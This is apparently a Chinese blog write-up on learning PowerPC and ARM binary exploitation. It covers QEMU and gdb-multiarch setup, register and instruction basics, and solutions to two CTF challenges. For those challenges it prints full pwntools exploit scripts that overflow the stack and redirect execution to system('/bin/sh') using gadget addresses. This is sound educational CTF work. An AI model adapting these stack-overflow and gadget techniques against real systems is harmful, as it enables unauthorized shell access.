PowerPC&ARM架构下的pwn 初探

Ubuntu16 + 运行环境搭建 + 调试

学习 PowerPC&ARM&AARCH64 架构的指令集,找相应的题做了做,可借鉴 x86 架构下的漏洞利用思想。

pwn 题:

2023 数字中国创新大赛 数字网络安全人才挑战赛 - pwn起源(powerpc-32-big + 任意指令执行

buu - jarvisoj_typo (arm-32-little + 恢复符号表 + 栈溢出

QEMU环境搭建

安装模拟器

QEMU 是一个模拟器,可以模拟多种处理器架构的计算机系统,这是我们实现跨平台运行二进制文件(如在 x86 的机子上跑其它架构程序)的工具。

QEMU 主要有两种运行模式: qemu-user , qemu-user-static,都装上吧。
目前还不太清楚这两种模式的区别,只知道后者是 qemu 的静态编译版本。使用 qemu-user 运行动态链接的程序,需要在本地系统中安装与程序相应的库,而 qemu-user-static 则包含了所有必需的库和二进制文件,可以直接运行静态链接的程序。

$ sudo apt-get update
$ sudo apt-get install qemu qemu-user qemu-user-static

安装 qemu-system,用于模拟整个计算机系统的跨平台运行。

$ sudo apt-get install qemu-system uml-utilities bridge-utils

运行程序

静态链接程序

使用 qemu-user-static 虚拟机,运行 PowerPC 32-bit 的静态链接程序:

$ qemu-ppc-static ./pwn

当然还能运行其他架构的程序,同理。

arm: qemu-arm-static
aarch64: qemu-aarch64-static
mips: qemu-mips-static
mipsel: qemu-mipsel-static
ppc: qemu-ppc-static
ppc64: qemu-ppc64-static

动态链接程序

使用 qemu-user 运行动态链接程序,需要先查找并安装对应架构的动态链接库(还是以 PowerPC 架构为例:

$ apt search "libc6-" | grep "powerpc"
$ sudo apt-get install libc6-powerpc-cross
# 安装好的库在 '/usr/powerpc-linux-gnu/lib/' 目录下

对应的,搞别的架构也同理。

运行:

$ qemu-ppc -L /usr/powerpc-linux-gnu ./pwn
# 通过 `-L` 指定 `/usr/powerpc-linux-gnu` 目录

同理。( ‘qemu-tab’ 可以查看 qemu 系列的指令

PowerPC 64-bit 架构:qemu-ppc64
PowerPC 32-bit 架构:qemu-ppc
ARM 64-bit 架构:qemu-aarch64
ARM 32-bit 架构:qemu-arm
MIPS 架构:qemu-mips
小端序 MIPS 架构:qemu-mipsel

调试程序

安装调试工具

安装 gdb-multiarch,这是一个支持多种架构的 gdb 工具,可以同时调试多种不同的架构。

$ sudo apt-get install gdb-multiarch

调试

使用 gdb-multiarch 调试其他架构的程序之前,需要先启动 QEMU 并将程序运行在其中:

# './qemu-ppc' 使用 `qemu-user` 工具来模拟 PowerPC 架构
# '-g 1234' 以 gdb 的方式启动 QEMU,并监听 1234端口
# './pwn' 即要运行的程序
$ qemu-ppc -g 1234 -L /usr/powerpc-linux-gnu ./pwn

另开一个终端启动 gdb

# 设置调试器的架构为 powerpc
$ gdb-multiarch -q -ex "set architecture powerpc:common" ./pwn
# 设置大端序,连接到正在运行的程序
(gdb) set endian big
(gdb) target remote :1234

接下来就跟我们熟悉的使用 pwndbg 调 x86 架构的题差不多了。

精简指令集架构学习

PowerPC

PowerPC 架构下的函数调用约定是通过寄存器传递参数,而不是通过栈传递参数。但当参数数量过多时,会将多余的参数压入栈中,因此栈帧中也会包含函数参数。

指令集

去逆不同架构的汇编的时候,习惯先只看看基础知识和常见的指令,然后遇到不会的再查…

常用寄存器

寄存器说明
R1/SP栈顶指针。
R3存储函数调用的第一个参数或函数的返回值。
R4-R10函数或系统调用的参数,部分情况下R4寄存器也会作为函数的返回值使用。
LR链接寄存器,用于存放函数调用结束处的返回地址。
PC程序计数器。

常用指令

PowerPC 架构的指令通常使用缩写的单词组合来表示其功能。

STB:Store Byte(存储字节)

STW:Store Word(存储字)

LD:Load(加载,将数据从内存中读取到寄存器中)

LI:Load Immediate(加载立即数)

LIS:Load Immediate and Shift(装载一个16位立即数到目标寄存器,并将它左移16位,用零填充低位)

LWZ:Load Word and Zero(从内存读取一个字单元到寄存器中,并将高位清零)

BL:Branch and Link(当前程序返回地址存入寄存器 LR 并跳转)

MTCTR:Move to Count Register(将一个32位寄存器的值存储到寄存器 CTR

BCTRL:Branch to Count Register and Link(用于调用函数,将当前程序返回地址存入寄存器 LR 并跳去执行寄存器 CTR 指向的指令)

@符号 :通常用于表示地址的高位和低位。

下例中表示将 FinishedUpload 标签的高位地址加载到 r9 ,r9 左移16位,将 FinishedUpload 标签的低位地址与 r9 相加后的值存储到 r3。即实现了让 r3 指向 FinishedUpload 标签的地址。
在这里插入图片描述

举点例。

li REG, VALUE				;REG = VALUE
add REGA, REGB, REGC		;REGA = REGB + REGC
addi REGA, REGB, VALUE		;REGA = REGB + VALUE
mr REGA, REGB				;REGA = REGB
ld REGA, 0(REGB)			;REGA = *(REGB + 0)	以REGB为基址,偏移量为0寻址
lwz REGA, 0(REGB)			;REGA = *(REGB + 0)
bl func						;PC = &func
mtctr REG					;CTR = REG
bctrl						;LR = PC,PC = CTR

栈帧结构
在 PowerPC 架构下,栈帧的结构一般遵循 ABI (Application Binary Interface,应用程序二进制接口) 规范。PowerPC 的 ABI 规范有多种,如 PowerPC 32-bit ELF ABI 和 PowerPC 64-bit ELFv2 ABI 等,不同的 ABI 规范会对栈帧的结构进行不同的定义。

PowerPC栈溢出初探:从放弃到getshell - 先知社区 (aliyun.com)
PowerPC构架应用程序二进制接口(ABI)及堆栈帧详解_shonffy的博客-CSDN博客

pwn

pwn起源(2023 数字中国创新大赛 数字网络安全人才挑战赛

powerpc-32-big 架构的静态链接程序。(写 exp 的时候别忘了设置字节序为大端字节序

运行一下看看。

$ qemu-ppc-static ./main

任意指令执行,覆盖40个垃圾字符后填个后门地址即可。
在这里插入图片描述

有个假的后门函数,很明显直接跳到这个函数执行是通不了的。
在这里插入图片描述

找能跳去执行 system 的 gadget 就行。payload 如下。

p32(system) = 0x100006F0
payload = '/bin/sh\x00' + a*32 + p32(system)

在这里插入图片描述

或许你注意到了调用函数的参数是 v3,它是前面执行 puts 函数的返回值。所以这段 payload 是怎么打通的,看伪代码有点说不过去。调下程序跟下汇编好了。
在这里插入图片描述

(调试

先启动一个终端运行 exp,再启动另一个终端用 gdb 去连,之后的就跟 x86 下的差不多了。

$ gdb-multiarch -q -ex "set architecture powerpc:common" ./main
(gdb) target remote :1234

可见我们成功将 ‘/bin/sh’ 写进了 sp + 0x1c 这段栈空间,此时 R31 指向栈顶,记住这个,等会要考。
在这里插入图片描述

看一下程序在跳转执行我们的 gadget 前的栈空间和寄存器。此时 R3 确实是 puts 函数的返回值,表示输出了 0x13 个字符。
在这里插入图片描述

在 jmp CTR 前,执行了 mtctr r9(CTR = R9,jmp CTR --> jmp R9
(可见 R9 的值正是我们写进的 0x100006F0
在这里插入图片描述

比较巧妙的地方就是我们利用的 gadget,在执行 call system 前,能重写 R3。

addi      r9, r31, 0x1C
mr        r3, r9

相当于执行 R3 = *(R31 + 0X1C)。(R31 + 0x1c 指向的就是 ‘/bin/sh’

在执行 system 前,R3 寄存器确实指向了 ‘/bin/sh’,成功 getshell
在这里插入图片描述

完整 exp 如下:

#coding:utf8
from pwn import *
context.endian = 'big'
context.log_level = 'debug'
p = process(['qemu-ppc-static','./main'])
#p = process(['qemu-ppc-static','-g','1234','./main'])

system = 0x100006f0
payload  = '/bin/sh;' + 'a'*32 + p32(system)
#pause()
p.sendlineafter('comment.\n', payload)

p.interactive()

ARM&AARCH64

ARM 架构是 32 位的,AARCH64 架构是 64 位的。

ARM 架构下的函数调用约定是 函数的前四个参数保存在寄存器 r0 - r3 中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡,函数的返回值保存在 r0 中。

AARCH64 架构下的函数调用约定是 函数的前六个参数保存在寄存器 x0~x5 中。与 ARM 架构不同的是,在 AARCH64 架构下,被调用者不需要实现栈平衡,由调用者负责栈平衡。函数的返回值保存在 x0 中,如果返回值是一个结构体或类似的较大的数据类型,则会使用 x0 和 x1 寄存器记录返回值。

指令集

常用寄存器

寄存器说明
R0存储函数的第一个参数或函数的返回结果。
R13 (堆栈指针SP指向堆栈的顶部
R14(链接寄存器LR链接寄存器,用于存放函数调用结束处的返回地址。
R15(程序计数器PC程序计数器。

常用指令

MOV: 数据传输指令,用于将数据从一个寄存器或内存中复制到另一个寄存器或内存中。

ADD/SUB: 加法和减法指令。

CMP: 比较指令,比较两个操作数的大小关系。

B: 分支指令,用于无条件跳转到指定地址。

BL: 分支指令,用于跳转到指定地址并将返回地址保存在LR寄存器中,可用于函数调用。

LDR/STR: 数据传输指令,用于从内存中读取数据或将数据写入内存。

LDR 用于将某些内容从内存加载到寄存器中,例如 LDR R2, [R0] 从R0寄存器中存储的内存地址的值读入R2寄存器。

STR 用于将某些内容从寄存器存储到内存地址中,例如 STR R2, [R1] 从R2寄存器中将值存储到R1寄存器中的内存地址中。

PUSH/POP: 栈操作指令,用于将寄存器中的数据入栈或从栈中弹出数据。

以及,抄过来的表格:

指令功能指令功能
MOV移动数据EOR按位异或
MVN移动数据并取反LDR加载
ADD加法STR存储
SUB减法LDM加载多个
MUL乘法STM存储多个
LSL逻辑左移PUSH入栈
LSR逻辑右移POP出栈
ASR算术右移B跳转
ROR右旋BLLink+跳转
CMP比较BX分支跳转
AND按位与BLXLinx+分支跳转
ORR按位或SWI/SVC系统调用

参考:
ARM PWN基础教程 - 知乎 (zhihu.com)

栈帧结构
与 x86 相比,ARM 架构的栈帧寄存器值不是保存到栈底,而是栈顶。
在这里插入图片描述

x86-64平台栈帧结构与ARM64栈帧结构对比_程序猿Ricky的日常干货的博客-CSDN博客
函数调用栈帧回溯 - 简书 (jianshu.com)

pwn

jarvisoj_typo(buu

(调试

先启动一个终端运行 exp,再启动另一个终端用 gdb 去连。

$ gdb-multiarch -q -ex "set architecture arm" ./typo
(gdb) target remote :1234

(分析

arm-32-little 架构的静态链接程序。去符号表,基础栈溢出,有 system 和 ‘/bin/sh’。找 gadget,控制 r0 寄存器指向 ‘/bin/sh’,然后跳去执行 system 即可。

这题的难点之一是找 system 函数。可以使用 rizzo 还原符号表,我的是 IDA Pro 7.5,装的这个。

Reverier-Xu/Rizzo-IDA:Rizzo 插件移植到 IDA 7.4+ (github.com)

rizzo.py 放到 ida 的插件目录中,我的是 C:\IDA Pro 7.5\plugins

然后去下相应架构的 libc,用 ida 打开。

$ apt search "libc6-" | grep "arm"
$ sudo apt-get install libc6-dbg-arm64-cross
$ cp /usr/aarch64-linux-gnu/lib/libc-2.23.so ./

先用 libc 进行签名(File -> Produce file -> Rizzo signature file),然后在要恢复符号表的程序里读取签名(File -> Load file -> Rizzo signature file),即可恢复一部分符号表。但我这没什么效果,不清楚是什么原因。

em,也可以查下哪里调用了 ‘/bin/sh’。在 ida 里 shift + f12,然后 ctrl + f 查找 ‘/bin/sh’,双击左键跳到字符串所在地址,点击该地址,然后 ctrl + x 查看引用,双击进去看看函数实现。
在这里插入图片描述

直接贴我的 exp 了:

from pwn import*
context(arch='arm',log_level='debug')
p = process(['qemu-arm-static','./typo'])
#p = process(['qemu-arm-static','-g','1234','./typo'])

pop_r0_r4_ret = 0x00020904
binsh = 0x0006c384
system = 0x00010BA8
p.send('\n')
payload = 'a'*112
payload += p32(pop_r0_r4_ret)
payload += p32(binsh)
payload += p32(0)
payload += p32(system)

#pause()
sleep(0.1)
p.sendline(payload)
p.interactive()                 

至于刷的更多的题,arm 进阶… 还是直接去看师傅们的 blog 吧,都写得很好,就不复制他们的 exp 了。

Tag: ARM | Pwn进你的心 (ywhkkx.github.io)
arm pwn入门 | blingbling’s blog (blingblingxuanxuan.github.io)
一些arm题 | 71’s blog (7ee1n.github.io)

mips?

留个位置?以后遇到了再学…

指令集

pwn

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值